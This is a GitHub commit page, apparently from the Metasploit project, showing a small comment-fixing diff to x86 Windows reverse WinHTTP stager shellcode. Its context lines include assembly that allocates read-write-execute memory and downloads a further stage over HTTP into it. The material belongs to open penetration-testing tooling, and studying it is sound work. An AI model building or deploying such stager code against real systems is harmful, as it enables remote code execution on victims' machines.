Skip to content

Commit b604599

Browse files
author
HD Moore
committed
Fix comments
1 parent c3f2536 commit b604599

File tree

1 file changed

+2
-3
lines changed

1 file changed

+2
-3
lines changed

external/source/shellcode/windows/x86/src/block/block_reverse_winhttp.asm

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,6 @@
88
;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE
99

1010
; Input: EBP must be the address of 'api_call'.
11-
; Output: EDI will be the socket for the connection to the server
1211
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
1312

1413
load_winhttp:
@@ -100,7 +99,7 @@ receive_response:
10099
allocate_memory:
101100
push byte 0x40 ; PAGE_EXECUTE_READWRITE
102101
push 0x1000 ; MEM_COMMIT
103-
push 0x00400000 ; Stage allocation (8Mb ought to do us)
102+
push 0x00400000 ; Stage allocation (4Mb ought to do us)
104103
push ebx ; NULL as we dont care where the allocation is
105104
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
106105
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
@@ -119,7 +118,7 @@ download_more:
119118
push 0x7E24296C ; hash( "winhttp.dll", "WinHttpReadData" )
120119
call ebp
121120

122-
test eax,eax ; if ownload failed? (optional?)
121+
test eax,eax ; if download failed? (optional?)
123122
jz failure
124123

125124
mov eax, [edi]

0 commit comments

Comments
 (0)